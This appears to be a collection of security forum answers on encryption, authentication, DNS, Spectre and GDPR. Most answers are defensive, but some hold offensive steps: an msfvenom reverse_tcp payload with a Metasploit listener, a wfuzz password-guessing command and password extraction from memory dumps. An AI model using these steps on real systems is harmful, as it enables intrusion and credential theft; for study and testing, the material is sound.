Is it safe to dial sensitive information into a telephone keypad?

There is no technical protection that DTMF tones provide.  The sounds are easily decoded using readily available software, or using an online web tool.

However, in the United States, there are strict anti-wiretapping laws that provide severe penalties for anyone caught intercepting a phone call. Anyone working for the phone company would be aware of them.


Are hardware tokens secure in case of a data breach?

One-time password servers are almost always separate devices with their own database.  If that server is compromised, then yes, the attacker will be able to duplicate your token in software.  However, that server is most likely isolated and harder to break into than the rest of the applications and databases which it supports.


How to interpret encryption round diagrams

Usually these diagrams come with a text description of the algorithm, usually the formulae that must be evaluated to obtain the cipher text. The diagram is there to illustrate the process. So if you read the text and diagram side-by-side it should be more clear what the various boxes illustrate.


Man-in-the-middle attacks in end-to-end encryption

Suppose the client software is trustworthy (after all, if it isn't, how do you know it doesn't send a copy of all your messages somewhere).

Everyone installs the client, it generates a new key pair each time, sends the public key to a directory service with the user's identifier (phone number, FB uid, whatever).

You want to send an encrypted message to me. You ask Signal's directory service (or Whatsapp, or whatever) for my public key. The directory service gives you a public key and says it's mine. You encrypt your message, send it to the chat service and I receive it and decrypt it using my private key. It works!

But, the directory service could have generated a new key pair, given you the public key, then when the chat service received the encrypted message, decrypted it, then encrypted it using my real public key (for which the private really only exists on my device), and sent it to me. We would not notice the small additional latency.

The way to check is to make sure the public key your client thinks is mine is the same one my client thinks is mine and to check that the public key my client thinks is yours is the same as the public key your client thinks is yours. If that is true (and the client software is itself trustworthy), you know the server does not do the MitM attack.

The way this verification is done differs between applications: Signal "verify safety numbers", Whatsapp "Verify Security Code", Wire "compare key fingerprints", etc.

There is a related attack, for example on iMessage, where I can be logged in on multiple devices, and when you encrypt your message to me, you actually encrypt it to multiple public keys, one for each of my devices. You get the list of all my public keys from the directory service. They can add a new key, as if I logged in on a new device, and your device will encrypt your messages to me to this key in addition to my other keys. But they control the new key. The way to protect would be to ensure new devices "joining the group chat" are visible to all other participants, but you can't. This is a UX tradeoff - the more secure the app is, the harder it is to use.


Should Virtual Machines be patched for Meltdown and Spectre?

My understanding, first off, is that the OS / hypervisor patch only mitigates Meltdown, not Spectre.

Second, you patch the hypervisor to prevent a VM from reading memory belonging to the kernel of the hypervisor. You patch the guest OS to prevent a process from reading memory belonging to the kernel of the guest OS. My understanding is that they are independent of each other; patching one has no effect on the other.

Emulation vs Virtualization

I'm not a great expert on virtualization technologies, but your question dips into emulation vs virtualization: in emulation the CPU, including all registers, caches, etc. is fully simulated in software and it may use a different instruction set from the underlying hardware. In virtualization, the instructions are passed directly to the hardware, but with extra process scheduling imposed by the hypervisor. In particular, my understanding of x86 virtualization, specifically Intel's VT-x technology, is that it is a "real CPU" in the sense that the guest OS is using real x86 instructions that are more-or-less passed straight through to the underlying hardware.

So yes, the guest OS will be vulnerable to Meltdown and require patching independently of whether the hypervisor has been patched.


Burp Suite Active Scanning Wizard options

It is best to plan out and control each URI (params or not) sent to the active/passive scanning engine.

The target analyzer in the engagement tools (typically selected from the Target sitemap tab as "Analyze target") is a great place to select parameters and then "send to Intruder". Typically, you can customize your fault injection strategies in Intruder by automating what to send to the Scanner as well as by using the full Intruder functionality. The former is accomplished by customizing each insertion point by position and selecting "Actively scan defined insertion points" from the Intruder menu. The latter can be accomplished by using the full Intruder functionality with a standard set of fault-injection lists, such as the SecLists project found in Kali Linux.

To answer your question fully, it is best to understand the application. Sometimes parameters are part of the URI, such as in a RESTful-based app or one that uses a controller-action-id paradigm. Learn more about HTTP security from Daniel Miessler's blog. Thus, it is important to map the functionality of the app in the Target tab, understand the parameters and logic before even moving to the Target Analyzer, and selecting all appropriate positions and testing each insertion point with the correct payloads and response analyses. Often this is best done in the Burp Repeater, perhaps even along with the browser -- all too often applet, ActiveX, Ajax, Flash, or Silverlight parameters are missed in the test plan!


How does DigitalOcean DNS verify the owner of a domain?

If you think about how this scenario is set-up you can see that Digital Ocean aren't really in a position to need to verify the owner of the domain.

It's the domain registrar who will be pointing the DNS server records to Digital Oceans DNS servers and so it's up to them to validate that you have the authority to provide the IP addresses of those DNS servers.

For example if you set-up malicious DNS records on DO for example.com, how do you get the NS records for that domain to point to your malicious set-up?  The answer being you'd need to convince the registrar to change the NS records for the domain.


How do I map the information in snort u2spewfoo output to the rule which triggered the alert?

When gid is 1, it refers to the rules engine.

Snort maintains its rule files in the /etc/snort/rules directory (debian default).  Each rule explicitly declares its sid (signature id).

Drawing from the example above, 'sid' is 527, so a simple grep returns the answer:

root@debian:~# cd /etc/snort/rules/
root@debian:/etc/snort/rules# grep 'sid:527' *.rules
bad-traffic.rules:alert ip any any -> any any (msg:"BAD-TRAFFIC same SRC/DST"; sameip; reference:bugtraq,2666; reference:cve,1999-0016; reference:url,www.cert.org/advisories/CA-1997-28.html; classtype:bad-unknown; sid:527; rev:8;)

This returns all of the required information.


Risk of Docker backdoor allowing impersonation

If I suppose that the person who built this build-server is not a good guy, and he backdoored the Docker images, (...)

If the administrator of the server is malicious, he could have backdoored it so that he knows every interaction you do with its service (including passwords entered there).

  I mean even I use the public key and SSH login, without typing the password manually. Does this risk still exist?

A public key SSH login cannot be man-in-the-middled. There is no password that can ve reused. The server knows the public part of your ssh keys, and verifies that you have knowledge of the private one.

  if the bad guy usurped my account and did something bad thing (for example, leaking development codebase of company using my account or doing other attacks using my account), how could I prove I am innocent?

Note that in your scenario he would only have access to your account in that server.

Please note that it is highly unlikely that this is going on. On every company there are system administrators (someone needs to make sure that thinks work!), and they could theoretically backdoor the systems. But this doesn't mean they do. It would in fact be quite risky for them should they be caught. Your company should provide you a safe environment to work, and if they considered that it is safe to give access to X guy, and that turned out to be a bad idea, it's really your company's fault. If you showed that other people had access to your account (not by your fault, though!), that should show that it is not necessarily you who did "that very wrong thing" (an actual case would probably require a lot more detail than just looking at the account user, probably requiring a forensic analysis, etc.).

Also note that it is also possible that guy X is doing things they are not supposed to, or even breaking some internal company rules, such as storing passwords of other employees. In that case, if you found out, there should be some high-level position (an internal security team? the CISO?) to which it could (should) be reported.

Obviously, if a system may be controlled by other users, don't store anything confidential there,  avoid entering your credentials on it, etc.


How to "Scan for hosts" only using ettercap CLI?

In curses mode, ettercap -C, use Menu > "Unified sniffing" first. Then Menu > Hosts > "Scan for hosts"

In Text mode, ettercap -T, you can use the  -n, --netmask <NETMASK> option for the network mask.


Are there "master keys" that can be used to generate valid SSL keys?

What that someone probably meant to say was:

  There are a lot of certificate authorities out there, which's keys can be used to generate valid certificates.

While that is true, trusted CAs are not going to be trusted quite long when they hand out certificates to be used for MITM attacks (or, for that matter, do not comply with other rules regarding certificate issuance).

I think there was a CA that signed a sub-CA about a year ago that lost it's credibility rather quickly.

Also, CAs can generate valid certificates for keys (of their choosing, theoretically), but not valid keys for an existing certificate; that is considered infeasible for certificates with acceptable properties to begin with.

The whole trust chain concept only works if you put trust in the CAs, if you don't, you may call those "master keys", but that's a massive simplification and not quite right - they cannot unlock anything, "just" be used to sign valid certificates for a MITM attack.

For additional tin foil:

If "they" have somehow obtained keys from trusted CAs, "they" can in fact do some MITM. Yet, there are some mitigation strategies, for example public key pinning, which makes this harder for regular users of a website.


The IV should be unique for every message encrypted, so no, if you intend to encrypt more than one secret using the key you generate from this password, you cannot reuse the salt as the IV.   Reusing an IV at best leaks information about the plaintext, and at worst, can destroy your encryption scheme altogether (depending on the mode you're using) and so yes, in any case if it is reused, it will indeed weaken the encryption.

If, however, you are not reusing it, and it will only be used a single time, then no, the fact that the same random value serves as a salt elsewhere should have no effect on the strength of the encryption at all.

Edited to add:  There is a one caveat that I don't believe applies in this specific case, but should mention.  Since you are using a KDF to generate the key, the salt constitutes a part of the strength of the key.  If the IV is being exposed to the attacker (Given the wording of the question, I don't think that's the case here) then you make the attacker's job considerably easier when it comes to being able to compute candidate keys, and keys generated from weak passwords become susceptible to dictionary attacks.   If the salt/IV is merely being stored, however, and compromise of one can be reasonably considered to compromise both, then the initial premise that the strength is not effected still holds.


Storing third party API tokens in a database

I developed a similar application that had to interact with the Spotify API, and the approach to store the API tokens will depend on your threat model. In my application we decided to maintain the token in a configuration file that will be present only on the server (therefore excluded from any source code repository).

In the scenario I described only specific application related users have access (read/write) to the directory where the configuration file is stored. In my threat model I accept the risk (that I considered Low) of a malicious adversary to access my server, escalate privileges to the specific application user, to steal my API credentials.

I hope this clarifies to you how we should think of such scenarios, and that if it's "safe" or not, depends solely on our threat model, and the risks we assume.

Storing an API key in a database could be safe if the proper security measures are configured for it (access control, encryption, archiving), however this is only speculation from my part since I do not have the technical reference of how the mentioned database was configured.


By extension, windows is less secure because it has such a big part of the market, and is therefore targeted by hackers all the time. The smallest vulnerabilities are found rather quickly, it seems, because so many malicious users target this particular system at a time.

Look at the facts, some malware are appearing on OS X now because apple's OS is starting to get out there, and so an increasing amount of people use Mac these days. Up until 5 years ago or so, there had been almost literally no malware or viruses on Mac - simply because it wasn't targeting a large enough chunk of people, IMO.

Also, and I'm afraid I cannot expand too much on this because I'm not expertly enough, but I remember reading that UNIX-based systems were more secure by nature because, in part, of their administrator rights, like our friend Jan here just mentioned.


Login system using tokens for authentication

Lets assume you are generating the token with enough entropy, and you do not use the default rand(). Lets also assume you run PHP 5.5.0 or above which supports bcrypt(), then kudos there.

It is completely unclear to me what the SHA1 is supposed to do, or protect against. It will not provide security or confidentially because anyone could hash the token with SHA1. To some extend it validates integrity, but for what? Storing the token in the database without any obfuscation does the exact same thing.

If your tokens are valid for a longer period of time, say longer than a few hours, I would suggest:

Use refresh tokens, so you can revoke tokens from clients much faster.
Sign the tokens upon creation and validate the signature on each request. This will confirm integrity and authenticity.

As a last tip, do never assume SSL/TLS is the holy grail, but use defense in depth.


Append query string parameters to form.action or a.href using Javascript?

This code is safe.

jQuery.attr isn't escapable via special characters, since it uses a setAttribute internally.

Since you set the href / action attributes, you must also check that the URL can't be manipulated by an attacker.

Since you prepend ? to the query string, it will start the query string part in the final URL, and prevent any path/host manipulation, as long as the previous URLs were well-formed, and used a http or https scheme.

If the previous URLs used the javascript scheme, then a XSS vector would have been possible.


Can source javascript files be infected from a developer's machine?

This sounds a lot like ad-injection software installed by accident. This could be something like a Chrome extension or something bundled along with a download.

Google recently did a study on the matter, and they state that they "received more than 100,000 user complaints about them in Chrome since the beginning of 2015", making this a realistic scenario for the asker's problem.

I would suggest the people who complain about injected ads to run a malware scan and revise their list of browser plugins.

If, however, the problem persists, I would start checking the source control repository (assuming that you guys actually do source control) to check for changes to files that shouldn't really be changed. Make your infected developer do a clean clone from the repository and keep an close eye on any changes that developer does (or rather, make him keep an close eye on the changes he does!).

Good luck hunting!


Tamper proof monitoring may be used as a compensating control to meet requirement 6.4.2 in respect of separation of duties between Dev/Test/Prod environments. Remember that DSS was written pre-DevOps :-)
Typically the way most entities do this type of monitoring is via a jump host, so the dev connects to the jump host and from the jump host then connects to the Prod environment. The jump host records the screen and all keystrokes. The dev's rights on the jump host can be very restricted. I don't know of any FOSS systems that do this but look at commercial Privileged Access Management (PAM) systems.
NB: Whether a compensating control is sufficient for your environment is a discussion between you, your QSA and sometimes your acquiring bank.


How to find passwords in memory (password managers)

First off I used google academic to find papers about LastPass, password managers and memory forensics. It was the last one I found to be more helpful

Amari, K. (2009) Techniques and Tools for Recovering and Analysing Data from Volatile Memory.

After gaining an understanding memory extracting and analysis I created a windows 7 virtual machine with 2 GB of RAM, installed some browsers made a few accounts on various websites, installed LastPass, restarted the machine and captured a memory dump using DUMPIT (Search DUMP IT Memory dump). I analyzed the memory dump using SIFT Workstation, in the terminal I used the command

strings windows7.raw | grep “password” > output.txt

Swapping "password" for email addresses, known passwords of the fake accounts, website names etc.. I found nothing, so the memory was clean.

I then logged into LastPass and took another memory dump using the same tool. Analyzing this file highlighted a bunch of hashed values, which confirmed what LastPass says on its site - LastPass stores encrypted hash values in memory.

Next I decided to log into websites and accounts but not all of them just a random number of them and took another memory dump. Using the same methods as before I found decrypted passwords, email address and other information this means that when you visit a website that LastPass has a password for, it decrypt's it and stores in the memory for your browser to use.
I should also state that even if you don’t use LastPass and instead use a browser(s) built in password managers you will get the same results.

So you might say that I needed to know the password in the first place, I didn’t as simply searching for “pass” or in the case of google websites “Passwd” in the memory dump gave the passwords.

If I do this again I would do all the same steps above however, I would log out the windows account and into another account to see if I can get the the passwords from that memory dump, I suspect you would meaning you can log into a public computer and obtain the previous users passwords from there memory dump.

I would say that LastPass is secure until you log into a website, its very unlikely anyone will be able to decrypted the hashed values. In the end don't use LastPass or any other password on a public computer.


Are 500 responses or specific error codes more secure for REST services?

Short version:

Be informative enough to support legitimate users of your application, but no more than that.

Long version:

First of all, there is no single answer for this, because it depends upon the context of the application.  If you're releasing an open-source API for your product to allow people to write clients, then you want to lean in the direction of providing useful feedback so they can debug their code and write useful error handlers.  If you're releasing closed-source client software to interact with your closed-source server, then you can be a little more restrictive, because you're only impacting yourself.

Second of all, the RESTful model implies in part that you're going to return HTTP codes with semantic meaning (e.g., 404 for "Not Found", not just 500 for everything).  Of course, REST is just a way of doing things, so it's not like the REST auditor will rap your knuckles if you don't, but if you're using a model, you should consider that it has reasons for being designed as it is.

Third of all, the most important security focus you can have is on the content of error messages, not the signifier.  Returning a 404, 403, 405, 502, or 503 is good as it helps the endpoint determine - roughly - what went wrong.  Returning a stack trace from your Tomcat server, on the other hand, is way over the line - and it's probably the default, so be careful!

Finally, my experience "from the trenches" was as I've described: return the right HTTP error code, but don't wax poetic about it, "503" says "Service unavailable" and that's it.  For things that are not HTTP-level issues, we return a 200 with a short application-layer error code.  Codes are numeric, and can be found in the API, and so do provide "an attacker" with some information - here they had the wrong password, here they had too many concurrent connections, here they had "objectionable content".  Yes, that's providing an attacker a way to map the system.  The value of having a system that can be debugged by and for legitimate users outweighed the security benefit gained by obfuscating errors with a generic return value.  For example, I'm willing to bet a smart attacker could differentiate between authentication error and WAF violation by paying close attention to the round trip latency, so I'm not losing all that much by giving it to him in an error code.


Vault 8: which consequences does the release have?

This shows exactly how much access the CIA had. Knowing something was vulnerable and knowing how it was vulnerable are different things.
The exploits may rely on assumptions that turn out to be false. I.e. to be useable the exploit might need access to something previously viewed not feasible - similar to Google having to encrypt its internal connections after the Snowden leaks.
This may show new approaches which may in turn be applicable to other software.
The vendors patching the software doesn't mean all clients have updated their running version.


What to do against continuous FTP attack

Your guess is right - the attackers can use an almost unlimited range of IP addresses if they have a botnet. So trying to block IP addresses manually is pointless.

There are tools such as fail2ban that can be setup to block any that meet specific rules, but if all they are trying to do is access a service you do not offer then try not to worry too much.

As regards your email question - generally return-email-address spoofing does not imply they have compromised anything. Anyone cab set their return address to be anything they like.


When is it appropriate to SSL Encrypt Database connections?

It looks like the two previous answers to this question more or less strongly recommend to turn on SSL anyway, but I'd like to suggest a different reasoning angle (although I'm not recommending not to turn on SSL).

The two key points in assessing whether you need SSL or not are (a) what SSL protects you against and (b) what the thread model is: enumerate the potential threats.

SSL/TLS protects the transport of information between a client (in this case, your web server) and a server (in this case, your database server) from tampering and eavesdropping by anyone on the network in between (including able to get on those two machines).

To assess whether SSL is useful, you need to assume that the attacker is in a position to perform the attack SSL is designed to protect you against. That is, the attacker would need to be in a position to sniff packets on the network or on either machines.

If someone in a position to sniff packets from the database server, they're likely to have root/admin access to that server. Using SSL/TLS at that stage will make no difference.
If someone is in a position to sniff packets on the network between the web server and the database server (excluding those machines), using SSL/TLS will prevent them from seeing/altering the application content. If you think there might be a chance this is possible, do turn on SSL. A way to mitigate this would be to use two network cards on the web server: one to the outside world and one to the inside LAN where the DB server is (with no other machines, or in a way that you could treat them all as a single bigger machine). This network forming the overall web-farm or cluster (however you want to call it) would be physically separated and only have one entry point from the outside: the web server itself (same principle for a reverse proxy head node).
If someone is in a position to sniff packets on the head node (the web server) itself, they're likely to have root access there (processes run by non-root users on the machine, shouldn't be able to read packets that are not for them). In this case, you would have a big problem anyway.

What I doubt here is whether enabling SSL actually protects you much in this scenario.

Someone with root access on the web server will be able to read your application configuration, including DB passwords, and should be able to connect to the DB server legitimately, even using SSL.

In counterpart, if you did assume that this warrants the use of SSL (because it might be harder to look into what the processes actually do rather than just looking at the network, even if you have root control on the machine), this would mean you would also want to turn for localhost communications (e.g. if you have other services on your web server, or in the situation where both DB server and web server were on the same machine).

It's not necessarily a bad thing to be over-cautious, but you have to put your question in the context of what attackers could also do should they be in a position to perform an attack against what the security measure (SSL) protects you against, and whether this security measure would prevent them from achieving their goal anyway, once in this position.

I think the window is actually quite narrow there (assuming your back-end network really is secured, physically, not just by some firewall amongst a number of machines).


Security/Privacy OS With Boot On Thumbdrive

This idea has been answered before on Unix StackExchange. Furthermore, you can do this yourself with nearly any Linux based distribution. Also, for insight What is the /boot partition really for?.

Preparing a USB flash drive to store /boot/. So, then you will specify your BIOS to boot from the USB drive to access the GRUB bootloader and the Linux kernel, instead of the storage drive where the OS is installed.

  (1) Prepare your usb flash boot-device under existing Debian
  installation using package gnome-disk-utility the following way (which
  is not necessarily the only way but tested and works for me).

  (1.1) Format device with MBR scheme.

  (1.2) Create single ext2 partition making it occupy all available
  space.

  (1.3) After step 1.2 completes go to "Edit partition" and set the
  bootable flag.

  (2) Install Debian using its standard installer.

  (2.1) Boot your installation media, i.e. Debian installation cd/dvd or
  another usb stick with .iso image written on it.

  (2.2) Choose country/language, setup users and passwords, answer all
  the routine questions (no interest here) till disk partition dialog.

  (2.3) Select manual partitioning.

  (2.4) Create your raid/lvm/encrypted volumes on your main disk drive.
  On top of it there will be a file system, probably ext4.

  (2.5) Go to properties of this file system and select mount as / and
  "done with this partition".

  (2.7) Find the usb stick in the list, it should have ext2 on it.

  (2.8) Go to its properties and select mount as /boot and optionally
  noatime in additional flags. There is an option of formatting the
  partiton, DO NOT do it! "Keep the files".

  (2.9) Select "Done with this partition".

  (2.10) Select "Finish partitioning" or similar, installation process
  should continue with some dialogs that are straightforward.

  (2.11) After a few other dialog that are straightforward and not of
  our interest here, there will be a dialog with a question where to
  install GRUB, which you should agree to install in your /dev/sdX,
  where X is your usb boot flash.

The key part is LUKS cannot encrypt /boot/. So, this is vulnerable to modification. Instead, we will move the /boot/ partition onto another storage device, particularly a USB flash drive due to portability and boot from it to then load and decrypt the OS. However, this USB drive is still unencrypted and vulnerable to unauthorised modifications.


Metasploit multi handler reverse tcp connection

The concept you are looking for is "sessions". Metasploit supports multiple sessions by default.

Make sure you use set ExitOnSession false to ensure that the handler does not exit once it handles a session.

I cannot quickly find the maximum number of sessions Metasploit can handle by default, but I found one reference where a user was able to trigger 300 sessions. The suggestion is that the limit is an OS limit and not a limit imposed by Metasploit.


Can mobile network operators read WhatsApp metadata?

There is no reason to think a network operator can access the data.

The document says it clearly:

  Encrypts metadata to hide it from unauthorized network observers.

In other words, you are questioning that what's said in the document is false.

The only people that could shed more light on this would be WhatsApp or Open Whisper Systems (the company that created the encryption system), and as you can figure out, they are not going to give you details..


Yes (unless the wrongdoer took precautions)
To sum it up, approximately: the ISP CANNOT trace the person (map the person, they have business with, to the site user). They cannot even know there is a site the person accessed. The website CANNOT trace the user (map the user to the person).
GDPR ensures that the log data are split among the parties in such a way that they can't join them (where this can't be done - because the website has, let's say... your biometric data?), they legally MUSTN'T use the data they have. For example a frisky employee should not be able to get the address of a customer who bought a particularly kinky sex toy, even if purchase data and delivery address are both on the Web site, and IP isn't even needed. If at all possible, purchase data and delivery information should be separate (1).
But the authorities can perform the join that the GDPR does not allow to anyone else. So you have privacy, but only so long as you don't run afoul of the law.
Of course the "physical person" is the owner of the ISP account, which might not be the wrongdoer if, e.g.

the wrongdoer exploited an unsecured WiFi belonging to someone else
the ISP account is not the real one due to VPN, TOR, or remote desktop. In these cases, a further investigative stage may or may not disclose who it was that accessed the intermediate node, whose IP turned out in the logs.

(1) I am actually consulting for an e-commerce site where this is exactly the case (not Amazon, if anyone wonders). The order has the delivery information from Accounting encrypted with a public key, and the corresponding private key was given to the logistics firm and immediately destroyed afterwards. So the site knows that an order has come from user 12345 for item XYZ, and tells logistics to ship item XYZ to user 12345, address Base64EncryptedBlob, but it doesn't have any idea who 12345 is, or where s/he lives; it only knows that Accounting vouches for their money being good.

I will describe a real situation. I am now connecting to Amazon Europe site, through my Fastweb ISP. Both entities have to comply with GDPR, and as far as I know, they do.
When I say "Connecting to Amazon Europe site" I am actually calling three different entities: let us call them Amazon Infrastructure, Amazon Application, and Amazon Accounting.
Amazon Infrastructure is responsible for the maintenance of the Web server, and they log my full IP address, my User-Agent, obviously the URI and other information.
They are subject to the GDPR, so that information has to be kept safe, must be the minimum necessary to ensure proper operation, has to be purged after the data retention window expires. If it contained personally identifiable data, which it doesn't, I would have to be informed and would have the right to request rectification or cancellation.
They are responsible for the session layer that ensures that I can communicate correctly and flawlessly with...
Amazon Application, which is the e-Shop front-end, and needn't know my IP and therefore doesn't. They have a Session ID (which they log) and, after authentication, a User ID. They should have nothing else because they don't need it, and an appropriate API allows Amazon Application to show me my personal information, which it will never log, from...
Amazon Accounting, who knows my name, purchase history, bank information and so on. They don't have my IP address or Session ID because they don't need it. Also, for obvious reasons, I expect Amazon Accounting to exist within the digital equivalent of a fortified citadel. Here are my personal identifiable data (the IP is just personal), and I have the right of requesting update or deletion, subject to other provisions of the law - for example, I can request they forget everything about me, but payment data have to be kept for - if I remember correctly - up to ten years. They shouldn't be able to access that information after my request, except in anonymous form.
Now, something bad happens - an order gets contested, and I swear I did not place the order. Things go downhill to the point that the police gets involved. The issue is between me and Amazon Accounting.
This is where Fastweb can be contacted, but Fastweb's data will not be shared with Amazon. The police will collect data independently from the three Amazon entities plus Fastweb and run their own matching, which will allow them to pinpoint where the fiber optic cable is installed from which packets from a certain IP address came around on a certain day at a certain hour. They can also access any data that I asked to be forgotten, and Amazon accordingly sealed (so, "forgotten" does not mean "destroyed").
If necessary, my device will be impounded and analyzed to determine whether it was the one that was used for the crime.
It is entirely possible and even likely that the plaintiff might win the suit and collect damages and still not know lots of the information that was assembled during forensic operations.
So, they will never "trace" anyone, because they can't. But that someone will, nonetheless, be traced. Neither Amazon logs or Fastweb logs are enough for the full trace (Fastweb doesn't know that I visited Amazon web site, nor can they legally sniff the traffic or log outgoing IPs except in very specific, limited scenarios; Amazon can't know where the other end of a connection is), but together they are; under EU law, only police officers with a valid warrant can perform the match.


Does a security breach on a site with Google login mean my Google account is compromised?

If you are using the "Login with Google/Facebook/etc." option, then, no, that site does not get your password.

You actually log into Google/Facebook/etc. and then they tell the site that you successfully logged in.

If you want to know more, the technology that is used to do this is called "Single Sign On". All the guides online get very technical, but the idea is that the site trusts Google/Facebook/etc. to tell them that you are you (authentication).


Why not 1FA with Google authenticator instead of passwords?

I guess the first argument could be simply it being "single factor" once again. If you are using single factor authentication the password is the most convenient factor for people to use considering you do not need additional hardware and it is easy to implement.

Also a password is "easier" to store securely compared to a token. The token's security is completely reliant on your device security, it may seem trivial to you that you keep your phone safe (PIN code, encryption, etc...) but that might not be the case for all people.

I know the counter argument here is that in general people use password managers which must be kept safe equally or that, in case they don't, the password might be weak. But bear in mind that not everyone has a smartphone or might have the best security hygiene, in such cases the password is still the easiest to adopt since all you need is your brain to remember it.


Hydra hangs after attempts or returns all passwords valid

Hydra gives a lot of false positive, at least this is my experience with it. You can try to use wfuzz instead with this syntax for post request  wfuzz -z file,wordlist/others/common_pass.txt -d "uname=FUZZ&pass=FUZZ"
 http://testphp.vulnweb.com/userinfo.php

You will know the right password when you see the 3xx code as a response from the server.

Here is the link to the official documentation
https://wfuzz.readthedocs.io/en/latest/user/basicusage.html


iPhone - logging out user when app goes into background

Impossible to say what their problem is without a copy of their risk analysis, but three possibilities spring to mind:

They may be concerned that a malicious app could hijack the session.
They may be worried that users mistakenly think that the app has been closed and all sessions dropped when they background it.
They may be concerned that if the phone is stolen there is a window when your app can still be used.

I'm not sure any are a particularly big risk, but of course depends on the full risk assessment. If your app is launching nuclear bombs, for example, I'm not sure it's possible for the customer to be too paranoid.


Unfortunately, the protection provided by using a different salt for each e-mail is designed to prevent exactly the same kind of queries that you need. So, if you need efficient queries, you should either use the same salt for all e-mails, or not use salt at all.

Selecting a salt based on the hash of the e-mail is no more secure than using the same salt. To see that, you need to understand what kind of attack salts are designed to protect against. Suppose than an attacker has n hashes to crack, and a dictionary of m e-mails. If each e-mail is hashed with an individual salt, such attacker will need to hash each e-mail in the dictionary with each salt, requiring n·m hash calculations. However, if the same salt is used, the attacker has to hash each e-mail only once, so just m hash calculations are needed. If the salt is deterministically selected based on the e-mail, than again only m hash calculations are needed.

In general, if your applications allows fast lookups by e-mail, the attacker can run the lookup procedure on all e-mails in their dictionary. No matter how the lookup procedure is implemented, if it's fast, the attacker would be able to use it to check all their e-mails quickly. So, using salts properly (as they are used for password hashing) is incompatible with fast lookups.


What is ScriptSafe's "Client Rectangles" and what information does it leak?

HTML5 Client Rectangles call is one of the abuse utilised by tracker/advertiser to profile the user(AKA Cavas fingerprinting).

Though this will not identify a person, but the tracking party can map the canvas resolution against the database( check this out :  Mobile Device database) carry out targeting ads, price discrimination, malicious advertisement, phishing , blackmail ads etc.


How do you explain to experts that a database server should not reside in the DMZ?

It's like, "Put the jewelry box outside the house so that robbers won't bother getting in for the TV?"

Yes, it is exactly like that.

If you don't care about the value of the database, relatively speaking, then sure it makes sense to leave it outside - if the assumption is that the application is horridly insecure, but you need to put it up anyway for whatever reason, and don't want to secure it, then this is makes sense as a way to isolate this horrible insecure system from all the other internal systems.

On the other hand, there really is no excuse to expect to have SUCH an insecure application that allows complete database server takeover. Also there is no real reason to use "exposure" as an alternative to "isolation" - there are simple solutions to do that right too.

When it comes down to it, it sounds like this is one of 2 possible situations:

These so-called "experts" are really clueless.
There are other business requirements that are being traded off here.

I think your analogy works perfectly. If they then tell you the equivalent of "Actually, those jewelries are fake, oh and btw the TV is really a 60" 5K custom job with gold rims", then that might be a sensible tradeoff (still better to do it right, though).
Otherwise, it's likely that there is no way to explain it, since they are working from a lack of knowledge.


Implications of using DNS Forwarders instead of Root Hints

It's an interesting question and one I've been looking at recently too.

I've opted for adding delegation in the internal root zone rather than using forwarders. It simplifies configuration on the DNS servers as they all look at the root zone, but forwarders must be manually configured on each DNS server.

I would only use forwarders if you need to direct queries for a zone to IP addresses that are different from those in the root (i.e. when communicating to/from a DMZ).

Having proper delegation also allows you to run commands like dig +trace to debug issues. I don't think you can do this with only forward zones.


Mouse receiver shows up as keyboard too - is this an issue?

There is little need for concern here.  The wireless dongle you plugged in to your computer supports both a keyboard and a mouse, and is presenting itself as a composite USB device where both devices are attached.

The dongle can't tell if there is a wireless keyboard present, because battery-powered keyboards conserve battery life by not transmitting unless someone is pressing a key.  In order to avoid having the device driver enabled and disabled every time a key is pressed, the dongle simply says "keyboard is present".


Would introducing client certificates for a mobile app improve security?

Authentication is about make sure that whoever is on the other side of the connection is who you believe him to be. Since this is cryptography and computers and networks, "who you are" equates to "what you can compute" (that's all you can observe from a remote server), which itself comes from "what you know" (everybody can buy a PC, so the ability to compute anything is really the knowledge of the inputs for the computations). For instance, for password-based authentication, a user is authenticated relatively to his knowledge of the password.

Such knowledge is linked to an initial registration where the secret value, whatever it is, gains its special meaning. Still for the password example, this is the procedure by which the user chooses his password, and the server records it (or a hash thereof) in its entrails.

Certificates are useful in contexts where registration and authentication are done by distinct entities: the registration is done by a Certification Authority, who issues (signs) the client certificate, while verification is done by the server itself, who validates the certificate (verifies the signature from the CA) and then verifies a fresh signature computed by the client (that's how client certificates are used in SSL).

If you have only one server, who both decides who may connect, and then authenticates these clients, then client certificates are useless to you: they won't bring any additional functionality or security with regards to a simpler show-the-password protocol (as long as the "password" is a key with enough entropy, and the protocol is played within SSL).


Need a session ID to make a privilege escalation MSF module works

You can generate an platform specific executable with msfvenom. For example:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your ip> LPORT=<yourport> -f exe > meter.exe

You bring that exe to the target through your limited shell. Then you start a listener in metasploit:

use exploit/handler/multi (or exploit/multi/handler, don't remember)
set payload windows/meterpreter/reverse_tcp (needs to be the same as above)
set LHOST <your ip>
set LPORT <your port> (these 2 need to be the same as above)
run

and after that you start the exe on the target. Then you should get a meterpreter session. Let me know if it still doesn't work.


Splitting up symmetric key to be able to encrypt using 1024 bit RSA public key

Firstly, 256 bits is 32 bytes, which is less than 117 bytes, so that fits and there is no need for any kind of splitting.

It could be argued that it is useless to have a 256-bit key for symmetric encryption if it is protected with a 1024-bit RSA key, because, due to its mathematical structure (the structure which enables the public/private key magic), the RSA key is of much lower robustness against attacks, down to the relatively low strength of "about" 80 bits (that's still out of reach of what can be done right now, but at least a machine which breaks 1024-bit RSA key can be designed and its price computed, contrary to a brute force search on a 256-bit symmetric key space, which is way beyond Science and even science-fiction).

The kind of splitting you are asking for would not be trivial to do securely. This would require some careful analysis. No such analysis has been performed yet, to my knowledge, because there is no practical situation which calls for it.

But, most importantly, thou shallt not reinvent the wheel. Establishing a secure communication between a client and a server, with a key exchange and then symmetric encryption, is very tricky to do correctly. There is a standard solution called SSL (well, now it is called TLS, but that's the same). This protocol has been broken and repaired and analysed and optimized for almost two decades, and now it seems safe enough. It is highly doubtful that you (or, for that matter, any human being) could produce something as good (or at least "not worse") by yourself, in substantially less time. There are zillions of design and implementation details which can go wrong. So do the smart thing, use SSL; even smarter, use an existing implementation of SSL instead of writing your own. It will save you a lot of worries, time and money.


This is not a trivial, simplistic question. There are several different aspects you need to consider, and several different mechanisms and countermeasures that apply to several different threats in several different scenarios that are affected by several different clients. Let's examine these one at a time. (There will be a TL;DR at the end...)

If you're using a Public computer: LOG OUT.
Any service you keep an account on should not be left logged in on a publicly accessible machine.
If you're using a Trivial unsensitive service: STAY LOGGED IN.
This applies only to throw-away, temporary accounts, such as for Internet radio, where giving away access is nothing more than a nuisance.
If you're using Public Wifi: LOG OUT.
